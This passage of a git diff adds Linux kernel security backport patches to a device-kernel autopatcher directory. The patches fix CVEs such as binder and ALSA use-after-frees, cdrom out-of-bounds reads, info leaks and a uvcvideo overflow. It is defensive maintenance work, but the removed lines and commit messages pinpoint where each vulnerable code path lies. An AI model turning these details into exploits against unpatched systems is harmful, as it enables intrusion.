+NATIVE: + +(gdb) disassemble lock_sock_nested +Dump of assembler code for function lock_sock_nested: + 0xffffffff817be970 <+0>: push %rbp + 0xffffffff817be971 <+1>: mov %rdi,%rbp + 0xffffffff817be974 <+4>: push %rbx + 0xffffffff817be975 <+5>: lea 0x88(%rbp),%rbx + 0xffffffff817be97c <+12>: callq 0xffffffff819f7160 <_cond_resched> + 0xffffffff817be981 <+17>: mov %rbx,%rdi + 0xffffffff817be984 <+20>: callq 0xffffffff819fbb00 <_raw_spin_lock_bh> + 0xffffffff817be989 <+25>: mov 0x8c(%rbp),%eax + 0xffffffff817be98f <+31>: test %eax,%eax + 0xffffffff817be991 <+33>: jne 0xffffffff817be9ba + 0xffffffff817be993 <+35>: movl $0x1,0x8c(%rbp) + 0xffffffff817be99d <+45>: mov %rbx,%rdi + 0xffffffff817be9a0 <+48>: movb $0x0,(%rdi) + 0xffffffff817be9a3 <+51>: nopl 0x0(%rax) + 0xffffffff817be9a7 <+55>: pop %rbx + 0xffffffff817be9a8 <+56>: pop %rbp + 0xffffffff817be9a9 <+57>: mov $0x200,%esi + 0xffffffff817be9ae <+62>: mov $0xffffffff817be993,%rdi + 0xffffffff817be9b5 <+69>: jmpq 0xffffffff81063ae0 <__local_bh_enable_ip> + 0xffffffff817be9ba <+74>: mov %rbp,%rdi + 0xffffffff817be9bd <+77>: callq 0xffffffff817be8c0 <__lock_sock> + 0xffffffff817be9c2 <+82>: jmp 0xffffffff817be993 +End of assembler dump. + + +Fixes: 63f70270ccd9 ("[PATCH] i386: PARAVIRT: add common patching machinery") +Fixes: 3010a0663fd9 ("x86/paravirt, objtool: Annotate indirect calls") +Reported-by: Nadav Amit +Signed-off-by: Peter Zijlstra (Intel) +Signed-off-by: Thomas Gleixner +Reviewed-by: Juergen Gross +Cc: Konrad Rzeszutek Wilk +Cc: Boris Ostrovsky +Cc: David Woodhouse +Cc: stable@vger.kernel.org +--- + arch/x86/kernel/paravirt.c | 14 ++++++++++---- + 1 file changed, 10 insertions(+), 4 deletions(-) + +diff --git a/arch/x86/kernel/paravirt.c b/arch/x86/kernel/paravirt.c +index 99dc79e76bdc5..930c88341e4ec 100644 +--- a/arch/x86/kernel/paravirt.c ++++ b/arch/x86/kernel/paravirt.c +@@ -88,10 +88,12 @@ unsigned paravirt_patch_call(void *insnbuf, + struct branch *b = insnbuf; + unsigned long delta = (unsigned long)target - (addr+5); + +- if (tgt_clobbers & ~site_clobbers) +- return len; /* target would clobber too much for this site */ +- if (len < 5) ++ if (len < 5) { ++#ifdef CONFIG_RETPOLINE ++ WARN_ONCE("Failing to patch indirect CALL in %ps\n", (void *)addr); ++#endif + return len; /* call too long for patch site */ ++ } + + b->opcode = 0xe8; /* call */ + b->delta = delta; +@@ -106,8 +108,12 @@ unsigned paravirt_patch_jmp(void *insnbuf, const void *target, + struct branch *b = insnbuf; + unsigned long delta = (unsigned long)target - (addr+5); + +- if (len < 5) ++ if (len < 5) { ++#ifdef CONFIG_RETPOLINE ++ WARN_ONCE("Failing to patch indirect JMP in %ps\n", (void *)addr); ++#endif + return len; /* call too long for patch site */ ++ } + + b->opcode = 0xe9; /* jmp */ + b->delta = delta; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0530-8f3fafc9c2f0-cdrom Fix info leakOOB read in cdromioctldrivestatus.patch b/recipes-kernel/linux/linux-bass/autopatcher/0530-8f3fafc9c2f0-cdrom Fix info leakOOB read in cdromioctldrivestatus.patch new file mode 100644 index 0000000..d1f96fb --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0530-8f3fafc9c2f0-cdrom Fix info leakOOB read in cdromioctldrivestatus.patch @@ -0,0 +1,35 @@ +From 8f3fafc9c2f0ece10832c25f7ffcb07c97a32ad4 Mon Sep 17 00:00:00 2001 +From: Scott Bauer +Date: Thu, 26 Apr 2018 11:51:08 -0600 +Subject: cdrom: Fix info leak/OOB read in cdrom_ioctl_drive_status + +Like d88b6d04: "cdrom: information leak in cdrom_ioctl_media_changed()" + +There is another cast from unsigned long to int which causes +a bounds check to fail with specially crafted input. The value is +then used as an index in the slot array in cdrom_slot_status(). + +Signed-off-by: Scott Bauer +Signed-off-by: Scott Bauer +Cc: stable@vger.kernel.org +Signed-off-by: Jens Axboe +--- + drivers/cdrom/cdrom.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/cdrom/cdrom.c b/drivers/cdrom/cdrom.c +index 113fc6edb2b03..a5d5a96479bfe 100644 +--- a/drivers/cdrom/cdrom.c ++++ b/drivers/cdrom/cdrom.c +@@ -2546,7 +2546,7 @@ static int cdrom_ioctl_drive_status(struct cdrom_device_info *cdi, + if (!CDROM_CAN(CDC_SELECT_DISC) || + (arg == CDSL_CURRENT || arg == CDSL_NONE)) + return cdi->ops->drive_status(cdi, CDSL_CURRENT); +- if (((int)arg >= cdi->capacity)) ++ if (arg >= cdi->capacity) + return -EINVAL; + return cdrom_slot_status(cdi, arg); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0531-9d868b94a6f5-iovec make sure the caller actually wants anything in.patch b/recipes-kernel/linux/linux-bass/autopatcher/0531-9d868b94a6f5-iovec make sure the caller actually wants anything in.patch new file mode 100644 index 0000000..e294cbb --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0531-9d868b94a6f5-iovec make sure the caller actually wants anything in.patch @@ -0,0 +1,36 @@ +From 9d868b94a6f52a17a2a94b34e544800d741b7852 Mon Sep 17 00:00:00 2001 +From: Sasha Levin +Date: Thu, 31 Jul 2014 23:00:35 -0400 +Subject: iovec: make sure the caller actually wants anything in + memcpy_fromiovecend + +[ Upstream commit 06ebb06d49486676272a3c030bfeef4bd969a8e6 ] + +Check for cases when the caller requests 0 bytes instead of running off +and dereferencing potentially invalid iovecs. + +Signed-off-by: Sasha Levin +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/core/iovec.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/net/core/iovec.c b/net/core/iovec.c +index 2145b7150beb5..1117a26a85480 100644 +--- a/net/core/iovec.c ++++ b/net/core/iovec.c +@@ -107,6 +107,10 @@ EXPORT_SYMBOL(memcpy_toiovecend); + int memcpy_fromiovecend(unsigned char *kdata, const struct iovec *iov, + int offset, int len) + { ++ /* No data? Done! */ ++ if (len == 0) ++ return 0; ++ + /* Skip over the finished iovecs */ + while (offset >= iov->iov_len) { + offset -= iov->iov_len; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0532-d26c25a9d19b-arm64 KVM Tighten guest core register access from userspace.patch b/recipes-kernel/linux/linux-bass/autopatcher/0532-d26c25a9d19b-arm64 KVM Tighten guest core register access from userspace.patch new file mode 100644 index 0000000..4583d65 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0532-d26c25a9d19b-arm64 KVM Tighten guest core register access from userspace.patch @@ -0,0 +1,98 @@ +From d26c25a9d19b5976b319af528886f89cf455692d Mon Sep 17 00:00:00 2001 +From: Dave Martin +Date: Thu, 27 Sep 2018 16:53:21 +0100 +Subject: arm64: KVM: Tighten guest core register access from userspace + +We currently allow userspace to access the core register file +in about any possible way, including straddling multiple +registers and doing unaligned accesses. + +This is not the expected use of the ABI, and nobody is actually +using it that way. Let's tighten it by explicitly checking +the size and alignment for each field of the register file. + +Cc: +Fixes: 2f4a07c5f9fe ("arm64: KVM: guest one-reg interface") +Reviewed-by: Christoffer Dall +Reviewed-by: Mark Rutland +Signed-off-by: Dave Martin +[maz: rewrote Dave's initial patch to be more easily backported] +Signed-off-by: Marc Zyngier +Signed-off-by: Will Deacon +--- + arch/arm64/kvm/guest.c | 45 +++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 45 insertions(+) + +diff --git a/arch/arm64/kvm/guest.c b/arch/arm64/kvm/guest.c +index 07256b08226c..3088463bafc1 100644 +--- a/arch/arm64/kvm/guest.c ++++ b/arch/arm64/kvm/guest.c +@@ -57,6 +57,45 @@ static u64 core_reg_offset_from_id(u64 id) + return id & ~(KVM_REG_ARCH_MASK | KVM_REG_SIZE_MASK | KVM_REG_ARM_CORE); + } + ++static int validate_core_offset(const struct kvm_one_reg *reg) ++{ ++ u64 off = core_reg_offset_from_id(reg->id); ++ int size; ++ ++ switch (off) { ++ case KVM_REG_ARM_CORE_REG(regs.regs[0]) ... ++ KVM_REG_ARM_CORE_REG(regs.regs[30]): ++ case KVM_REG_ARM_CORE_REG(regs.sp): ++ case KVM_REG_ARM_CORE_REG(regs.pc): ++ case KVM_REG_ARM_CORE_REG(regs.pstate): ++ case KVM_REG_ARM_CORE_REG(sp_el1): ++ case KVM_REG_ARM_CORE_REG(elr_el1): ++ case KVM_REG_ARM_CORE_REG(spsr[0]) ... ++ KVM_REG_ARM_CORE_REG(spsr[KVM_NR_SPSR - 1]): ++ size = sizeof(__u64); ++ break; ++ ++ case KVM_REG_ARM_CORE_REG(fp_regs.vregs[0]) ... ++ KVM_REG_ARM_CORE_REG(fp_regs.vregs[31]): ++ size = sizeof(__uint128_t); ++ break; ++ ++ case KVM_REG_ARM_CORE_REG(fp_regs.fpsr): ++ case KVM_REG_ARM_CORE_REG(fp_regs.fpcr): ++ size = sizeof(__u32); ++ break; ++ ++ default: ++ return -EINVAL; ++ } ++ ++ if (KVM_REG_SIZE(reg->id) == size && ++ IS_ALIGNED(off, size / sizeof(__u32))) ++ return 0; ++ ++ return -EINVAL; ++} ++ + static int get_core_reg(struct kvm_vcpu *vcpu, const struct kvm_one_reg *reg) + { + /* +@@ -76,6 +115,9 @@ static int get_core_reg(struct kvm_vcpu *vcpu, const struct kvm_one_reg *reg) + (off + (KVM_REG_SIZE(reg->id) / sizeof(__u32))) >= nr_regs) + return -ENOENT; + ++ if (validate_core_offset(reg)) ++ return -EINVAL; ++ + if (copy_to_user(uaddr, ((u32 *)regs) + off, KVM_REG_SIZE(reg->id))) + return -EFAULT; + +@@ -98,6 +140,9 @@ static int set_core_reg(struct kvm_vcpu *vcpu, const struct kvm_one_reg *reg) + (off + (KVM_REG_SIZE(reg->id) / sizeof(__u32))) >= nr_regs) + return -ENOENT; + ++ if (validate_core_offset(reg)) ++ return -EINVAL; ++ + if (KVM_REG_SIZE(reg->id) > sizeof(tmp)) + return -EINVAL; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0533-e4f3aa2e1e67-cdrom fix improper type cast which can leat to information leak.patch b/recipes-kernel/linux/linux-bass/autopatcher/0533-e4f3aa2e1e67-cdrom fix improper type cast which can leat to information leak.patch new file mode 100644 index 0000000..21b454e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0533-e4f3aa2e1e67-cdrom fix improper type cast which can leat to information leak.patch @@ -0,0 +1,33 @@ +From e4f3aa2e1e67bb48dfbaaf1cad59013d5a5bc276 Mon Sep 17 00:00:00 2001 +From: Young_X +Date: Wed, 3 Oct 2018 12:54:29 +0000 +Subject: cdrom: fix improper type cast, which can leat to information leak. + +There is another cast from unsigned long to int which causes +a bounds check to fail with specially crafted input. The value is +then used as an index in the slot array in cdrom_slot_status(). + +This issue is similar to CVE-2018-16658 and CVE-2018-10940. + +Signed-off-by: Young_X +Signed-off-by: Jens Axboe +--- + drivers/cdrom/cdrom.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/cdrom/cdrom.c b/drivers/cdrom/cdrom.c +index a5d5a96479bfe..10802d1fc554c 100644 +--- a/drivers/cdrom/cdrom.c ++++ b/drivers/cdrom/cdrom.c +@@ -2445,7 +2445,7 @@ static int cdrom_ioctl_select_disc(struct cdrom_device_info *cdi, + return -ENOSYS; + + if (arg != CDSL_CURRENT && arg != CDSL_NONE) { +- if ((int)arg >= cdi->capacity) ++ if (arg >= cdi->capacity) + return -EINVAL; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0534-5a1cddcfcfd9-PATCH ALSA usbaudio Fix UAF decrement if card has no live.patch b/recipes-kernel/linux/linux-bass/autopatcher/0534-5a1cddcfcfd9-PATCH ALSA usbaudio Fix UAF decrement if card has no live.patch new file mode 100644 index 0000000..5e669a8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0534-5a1cddcfcfd9-PATCH ALSA usbaudio Fix UAF decrement if card has no live.patch @@ -0,0 +1,54 @@ +From 5a1cddcfcfd99fa92ac991c0b04fd956b1286ab3 Mon Sep 17 00:00:00 2001 +From: Hui Peng +Date: Mon, 3 Dec 2018 16:09:34 +0100 +Subject: [PATCH] ALSA: usb-audio: Fix UAF decrement if card has no live + interfaces in card.c + +commit 5f8cf712582617d523120df67d392059eaf2fc4b upstream. + +If a USB sound card reports 0 interfaces, an error condition is triggered +and the function usb_audio_probe errors out. In the error path, there was a +use-after-free vulnerability where the memory object of the card was first +freed, followed by a decrement of the number of active chips. Moving the +decrement above the atomic_dec fixes the UAF. + +[ The original problem was introduced in 3.1 kernel, while it was + developed in a different form. The Fixes tag below indicates the + original commit but it doesn't mean that the patch is applicable + cleanly. -- tiwai ] + +Fixes: 362e4e49abe5 ("ALSA: usb-audio - clear chip->probing on error exit") +Reported-by: Hui Peng +Reported-by: Mathias Payer +Signed-off-by: Hui Peng +Signed-off-by: Mathias Payer +Cc: +Signed-off-by: Takashi Iwai +[surenb@google.com: resolve 3.18 differences] +Signed-off-by: Suren Baghdasaryan +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Greg Kroah-Hartman +Change-Id: I54aecb9fe09beb178bc5d48f18ffa9ca13cf26e0 +CVE-2018-19824 +--- + sound/usb/card.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +diff --git a/sound/usb/card.c b/sound/usb/card.c +index 45fa7a2881e..f25a1ed07e8 100644 +--- a/sound/usb/card.c ++++ b/sound/usb/card.c +@@ -605,9 +605,12 @@ snd_usb_audio_probe(struct usb_device *dev, + + __error: + if (chip) { ++ /* chip->probing is inside the chip->card object, ++ * reset before memory is possibly returned. ++ */ ++ chip->probing = 0; + if (!chip->num_interfaces) + snd_card_free(chip->card); +- chip->probing = 0; + } + mutex_unlock(®ister_mutex); + __err_val: diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0535-9824dfae5741-netappletalk fix minor pointer leak to userspace in SIOCFINDIPDDPRT.patch b/recipes-kernel/linux/linux-bass/autopatcher/0535-9824dfae5741-netappletalk fix minor pointer leak to userspace in SIOCFINDIPDDPRT.patch new file mode 100644 index 0000000..14f6451 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0535-9824dfae5741-netappletalk fix minor pointer leak to userspace in SIOCFINDIPDDPRT.patch @@ -0,0 +1,40 @@ +From 9824dfae5741275473a23a7ed5756c7b6efacc9d Mon Sep 17 00:00:00 2001 +From: Willy Tarreau +Date: Wed, 12 Sep 2018 07:36:35 +0200 +Subject: net/appletalk: fix minor pointer leak to userspace in SIOCFINDIPDDPRT + +Fields ->dev and ->next of struct ipddp_route may be copied to +userspace on the SIOCFINDIPDDPRT ioctl. This is only accessible +to CAP_NET_ADMIN though. Let's manually copy the relevant fields +instead of using memcpy(). + +BugLink: http://blog.infosectcbr.com.au/2018/09/linux-kernel-infoleaks.html +Cc: Jann Horn +Signed-off-by: Willy Tarreau +Signed-off-by: David S. Miller +--- + drivers/net/appletalk/ipddp.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/drivers/net/appletalk/ipddp.c b/drivers/net/appletalk/ipddp.c +index 9375cef224205..3d27616d9c855 100644 +--- a/drivers/net/appletalk/ipddp.c ++++ b/drivers/net/appletalk/ipddp.c +@@ -283,8 +283,12 @@ static int ipddp_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) + case SIOCFINDIPDDPRT: + spin_lock_bh(&ipddp_route_lock); + rp = __ipddp_find_route(&rcp); +- if (rp) +- memcpy(&rcp2, rp, sizeof(rcp2)); ++ if (rp) { ++ memset(&rcp2, 0, sizeof(rcp2)); ++ rcp2.ip = rp->ip; ++ rcp2.at = rp->at; ++ rcp2.flags = rp->flags; ++ } + spin_unlock_bh(&ipddp_route_lock); + + if (rp) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0536-b90cd6f2b905-scsi libsas fix a race condition when smp task timeout.patch b/recipes-kernel/linux/linux-bass/autopatcher/0536-b90cd6f2b905-scsi libsas fix a race condition when smp task timeout.patch new file mode 100644 index 0000000..5f4c96c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0536-b90cd6f2b905-scsi libsas fix a race condition when smp task timeout.patch @@ -0,0 +1,63 @@ +From b90cd6f2b905905fb42671009dc0e27c310a16ae Mon Sep 17 00:00:00 2001 +From: Jason Yan +Date: Tue, 25 Sep 2018 10:56:54 +0800 +Subject: scsi: libsas: fix a race condition when smp task timeout + +When the lldd is processing the complete sas task in interrupt and set the +task stat as SAS_TASK_STATE_DONE, the smp timeout timer is able to be +triggered at the same time. And smp_task_timedout() will complete the task +wheter the SAS_TASK_STATE_DONE is set or not. Then the sas task may freed +before lldd end the interrupt process. Thus a use-after-free will happen. + +Fix this by calling the complete() only when SAS_TASK_STATE_DONE is not +set. And remove the check of the return value of the del_timer(). Once the +LLDD sets DONE, it must call task->done(), which will call +smp_task_done()->complete() and the task will be completed and freed +correctly. + +Reported-by: chenxiang +Signed-off-by: Jason Yan +CC: John Garry +CC: Johannes Thumshirn +CC: Ewan Milne +CC: Christoph Hellwig +CC: Tomas Henzl +CC: Dan Williams +CC: Hannes Reinecke +Reviewed-by: Hannes Reinecke +Reviewed-by: John Garry +Reviewed-by: Johannes Thumshirn +Signed-off-by: Martin K. Petersen +--- + drivers/scsi/libsas/sas_expander.c | 9 ++++----- + 1 file changed, 4 insertions(+), 5 deletions(-) + +diff --git a/drivers/scsi/libsas/sas_expander.c b/drivers/scsi/libsas/sas_expander.c +index 52222940d3986..0d1f72752ca26 100644 +--- a/drivers/scsi/libsas/sas_expander.c ++++ b/drivers/scsi/libsas/sas_expander.c +@@ -48,17 +48,16 @@ static void smp_task_timedout(struct timer_list *t) + unsigned long flags; + + spin_lock_irqsave(&task->task_state_lock, flags); +- if (!(task->task_state_flags & SAS_TASK_STATE_DONE)) ++ if (!(task->task_state_flags & SAS_TASK_STATE_DONE)) { + task->task_state_flags |= SAS_TASK_STATE_ABORTED; ++ complete(&task->slow_task->completion); ++ } + spin_unlock_irqrestore(&task->task_state_lock, flags); +- +- complete(&task->slow_task->completion); + } + + static void smp_task_done(struct sas_task *task) + { +- if (!del_timer(&task->slow_task->timer)) +- return; ++ del_timer(&task->slow_task->timer); + complete(&task->slow_task->completion); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0537.diff b/recipes-kernel/linux/linux-bass/autopatcher/0537.diff new file mode 100644 index 0000000..2277e35 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0537.diff @@ -0,0 +1,56 @@ +diff --git a/kernel/events/hw_breakpoint.c b/kernel/events/hw_breakpoint.c +index 20185ea..3908464 100644 +--- a/kernel/events/hw_breakpoint.c ++++ b/kernel/events/hw_breakpoint.c +@@ -445,16 +445,9 @@ + * modify_user_hw_breakpoint - modify a user-space hardware breakpoint + * @bp: the breakpoint structure to modify + * @attr: new breakpoint attributes +- * @triggered: callback to trigger when we hit the breakpoint +- * @tsk: pointer to 'task_struct' of the process to which the address belongs + */ + int modify_user_hw_breakpoint(struct perf_event *bp, struct perf_event_attr *attr) + { +- u64 old_addr = bp->attr.bp_addr; +- u64 old_len = bp->attr.bp_len; +- int old_type = bp->attr.bp_type; +- int err = 0; +- + /* + * modify_user_hw_breakpoint can be invoked with IRQs disabled and hence it + * will not be possible to raise IPIs that invoke __perf_event_disable. +@@ -469,27 +462,18 @@ + bp->attr.bp_addr = attr->bp_addr; + bp->attr.bp_type = attr->bp_type; + bp->attr.bp_len = attr->bp_len; ++ bp->attr.disabled = 1; + +- if (attr->disabled) +- goto end; ++ if (!attr->disabled) { ++ int err = validate_hw_breakpoint(bp); + +- err = validate_hw_breakpoint(bp); +- if (!err) ++ if (err) ++ return err; ++ + perf_event_enable(bp); +- +- if (err) { +- bp->attr.bp_addr = old_addr; +- bp->attr.bp_type = old_type; +- bp->attr.bp_len = old_len; +- if (!bp->attr.disabled) +- perf_event_enable(bp); +- +- return err; ++ bp->attr.disabled = 0; + } + +-end: +- bp->attr.disabled = attr->disabled; +- + return 0; + } + EXPORT_SYMBOL_GPL(modify_user_hw_breakpoint); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0538-d026943eb975-PATCH prociomem only expose physical resource addresses to.patch b/recipes-kernel/linux/linux-bass/autopatcher/0538-d026943eb975-PATCH prociomem only expose physical resource addresses to.patch new file mode 100644 index 0000000..af0f5aa --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0538-d026943eb975-PATCH prociomem only expose physical resource addresses to.patch @@ -0,0 +1,61 @@ +From d026943eb975c5f53880606d538582b784ff011a Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Thu, 14 Apr 2016 12:05:37 -0700 +Subject: [PATCH] /proc/iomem: only expose physical resource addresses to + privileged users + +commit 51d7b120418e99d6b3bf8df9eb3cc31e8171dee4 upstream. + +In commit c4004b02f8e5b ("x86: remove the kernel code/data/bss resources +from /proc/iomem") I was hoping to remove the phyiscal kernel address +data from /proc/iomem entirely, but that had to be reverted because some +system programs actually use it. + +This limits all the detailed resource information to properly +credentialed users instead. + +Bug: 117422211 +Signed-off-by: Linus Torvalds +Signed-off-by: Mark Salyzyn +Signed-off-by: Greg Kroah-Hartman +Change-Id: Ia829ad3659bd36b959ee5f446dca53c5aa4d5654 +[haggertk: Backported to 3.4 + - Use capable() instead of file_ns_capable()] +CVE-2019-2001 +Signed-off-by: Kevin F. Haggerty +--- + kernel/resource.c | 13 +++++++++++-- + 1 file changed, 11 insertions(+), 2 deletions(-) + +diff --git a/kernel/resource.c b/kernel/resource.c +index d8b1815e21f..e4465659554 100644 +--- a/kernel/resource.c ++++ b/kernel/resource.c +@@ -84,16 +84,25 @@ static int r_show(struct seq_file *m, void *v) + { + struct resource *root = m->private; + struct resource *r = v, *p; ++ unsigned long long start, end; + int width = root->end < 0x10000 ? 4 : 8; + int depth; + + for (depth = 0, p = r; depth < MAX_IORES_LEVEL; depth++, p = p->parent) + if (p->parent == root) + break; ++ ++ if (capable(CAP_SYS_ADMIN)) { ++ start = r->start; ++ end = r->end; ++ } else { ++ start = end = 0; ++ } ++ + seq_printf(m, "%*s%0*llx-%0*llx : %s\n", + depth * 2, "", +- width, (unsigned long long) r->start, +- width, (unsigned long long) r->end, ++ width, start, ++ width, end, + r->name ? r->name : ""); + return 0; + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0539.diff b/recipes-kernel/linux/linux-bass/autopatcher/0539.diff new file mode 100644 index 0000000..2f166e8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0539.diff @@ -0,0 +1,31 @@ +diff --git a/arch/x86/syscalls/syscalltbl.sh b/arch/x86/syscalls/syscalltbl.sh +index 0e7f8ec..167965e 100644 +--- a/arch/x86/syscalls/syscalltbl.sh ++++ b/arch/x86/syscalls/syscalltbl.sh +@@ -3,13 +3,21 @@ + in="$1" + out="$2" + ++emit() { ++ abi="$1" ++ nr="$2" ++ entry="$3" ++ compat="$4" ++ if [ -n "$compat" ]; then ++ echo "__SYSCALL_${abi}($nr, $entry, $compat)" ++ elif [ -n "$entry" ]; then ++ echo "__SYSCALL_${abi}($nr, $entry, $entry)" ++ fi ++} ++ + grep '^[0-9]' "$in" | sort -n | ( + while read nr abi name entry compat; do + abi=`echo "$abi" | tr '[a-z]' '[A-Z]'` +- if [ -n "$compat" ]; then +- echo "__SYSCALL_${abi}($nr, $entry, $compat)" +- elif [ -n "$entry" ]; then +- echo "__SYSCALL_${abi}($nr, $entry, $entry)" +- fi ++ emit "$abi" "$nr" "$entry" "$compat" + done + ) > "$out" diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0540-d93e86cb9ac1-PATCH media uvcvideo Fix type check leading to overflow.patch b/recipes-kernel/linux/linux-bass/autopatcher/0540-d93e86cb9ac1-PATCH media uvcvideo Fix type check leading to overflow.patch new file mode 100644 index 0000000..aa0bcb3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0540-d93e86cb9ac1-PATCH media uvcvideo Fix type check leading to overflow.patch @@ -0,0 +1,66 @@ +From d93e86cb9ac1b4434f35fa0ee5faa79a4dc2bc46 Mon Sep 17 00:00:00 2001 +From: Alistair Strachan +Date: Tue, 18 Dec 2018 20:32:48 -0500 +Subject: [PATCH] media: uvcvideo: Fix 'type' check leading to overflow + +commit 47bb117911b051bbc90764a8bff96543cbd2005f upstream. + +When initially testing the Camera Terminal Descriptor wTerminalType +field (buffer[4]), no mask is used. Later in the function, the MSB is +overloaded to store the descriptor subtype, and so a mask of 0x7fff +is used to check the type. + +If a descriptor is specially crafted to set this overloaded bit in the +original wTerminalType field, the initial type check will fail (falling +through, without adjusting the buffer size), but the later type checks +will pass, assuming the buffer has been made suitably large, causing an +overflow. + +Avoid this problem by checking for the MSB in the wTerminalType field. +If the bit is set, assume the descriptor is bad, and abort parsing it. + +Originally reported here: +https://groups.google.com/forum/#!topic/syzkaller/Ot1fOE6v1d8 +A similar (non-compiling) patch was provided at that time. + +Reported-by: syzbot +Signed-off-by: Alistair Strachan +Signed-off-by: Laurent Pinchart +Signed-off-by: Mauro Carvalho Chehab +Signed-off-by: Greg Kroah-Hartman + +(cherry picked from commit 21b67751ccecdfd38e25a91606ccb0c9e77faef1) +(cherry picked from commit d804a1694785a613dd9189b243cf9d97038b6696) + +Change-Id: I13ccfd10247765d4d84eacf92c80cbd0bc15cefb +--- + drivers/media/usb/uvc/uvc_driver.c | 14 +++++++++++--- + 1 file changed, 11 insertions(+), 3 deletions(-) + +diff --git a/drivers/media/usb/uvc/uvc_driver.c b/drivers/media/usb/uvc/uvc_driver.c +index 5422093d135..2e837dd70fb 100644 +--- a/drivers/media/usb/uvc/uvc_driver.c ++++ b/drivers/media/usb/uvc/uvc_driver.c +@@ -957,11 +957,19 @@ static int uvc_parse_standard_control(struct uvc_device *dev, + return -EINVAL; + } + +- /* Make sure the terminal type MSB is not null, otherwise it +- * could be confused with a unit. ++ /* ++ * Reject invalid terminal types that would cause issues: ++ * ++ * - The high byte must be non-zero, otherwise it would be ++ * confused with a unit. ++ * ++ * - Bit 15 must be 0, as we use it internally as a terminal ++ * direction flag. ++ * ++ * Other unknown types are accepted. + */ + type = get_unaligned_le16(&buffer[4]); +- if ((type & 0xff00) == 0) { ++ if ((type & 0x7f00) == 0 || (type & 0x8000) != 0) { + uvc_trace(UVC_TRACE_DESCR, "device %d videocontrol " + "interface %d INPUT_TERMINAL %d has invalid " + "type 0x%04x, skipping\n", udev->devnum, diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0541-928382c1de91-PATCH UPSTREAM ANDROID binder remove waitqueue when thread.patch b/recipes-kernel/linux/linux-bass/autopatcher/0541-928382c1de91-PATCH UPSTREAM ANDROID binder remove waitqueue when thread.patch new file mode 100644 index 0000000..d0bc2e1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0541-928382c1de91-PATCH UPSTREAM ANDROID binder remove waitqueue when thread.patch @@ -0,0 +1,72 @@ +From 928382c1de912cdd23889af9b47220dd695eee03 Mon Sep 17 00:00:00 2001 +From: Martijn Coenen +Date: Fri, 5 Jan 2018 11:27:07 +0100 +Subject: [PATCH] UPSTREAM: ANDROID: binder: remove waitqueue when thread + exits. + +binder_poll() passes the thread->wait waitqueue that +can be slept on for work. When a thread that uses +epoll explicitly exits using BINDER_THREAD_EXIT, +the waitqueue is freed, but it is never removed +from the corresponding epoll data structure. When +the process subsequently exits, the epoll cleanup +code tries to access the waitlist, which results in +a use-after-free. + +Prevent this by using POLLFREE when the thread exits. + +(cherry picked from commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f) + +Change-Id: Ib34b1cbb8ab2192d78c3d9956b2f963a66ecad2e +Signed-off-by: Martijn Coenen +Reported-by: syzbot +Cc: stable # 4.14 +Signed-off-by: Greg Kroah-Hartman +(cherry picked from commit 20daceef8af6d2db89c6d8e47375514642cd6ce7) +CVE-2019-2215 +--- + drivers/staging/android/binder.c | 17 ++++++++++++++++- + 1 file changed, 16 insertions(+), 1 deletion(-) + +diff --git a/drivers/staging/android/binder.c b/drivers/staging/android/binder.c +index de03234fff54..f4359f584d2b 100644 +--- a/drivers/staging/android/binder.c ++++ b/drivers/staging/android/binder.c +@@ -368,7 +368,8 @@ enum { + BINDER_LOOPER_STATE_EXITED = 0x04, + BINDER_LOOPER_STATE_INVALID = 0x08, + BINDER_LOOPER_STATE_WAITING = 0x10, +- BINDER_LOOPER_STATE_NEED_RETURN = 0x20 ++ BINDER_LOOPER_STATE_NEED_RETURN = 0x20, ++ BINDER_LOOPER_STATE_POLL = 0x40 + }; + + struct binder_thread { +@@ -3165,6 +3166,18 @@ static int binder_free_thread(struct binder_proc *proc, + } else + BUG(); + } ++ ++ /* ++ * If this thread used poll, make sure we remove the waitqueue ++ * from any epoll data structures holding it with POLLFREE. ++ * waitqueue_active() is safe to use here because we're holding ++ * the inner lock. ++ */ ++ if ((thread->looper & BINDER_LOOPER_STATE_POLL) && ++ waitqueue_active(&thread->wait)) { ++ wake_up_poll(&thread->wait, POLLHUP | POLLFREE); 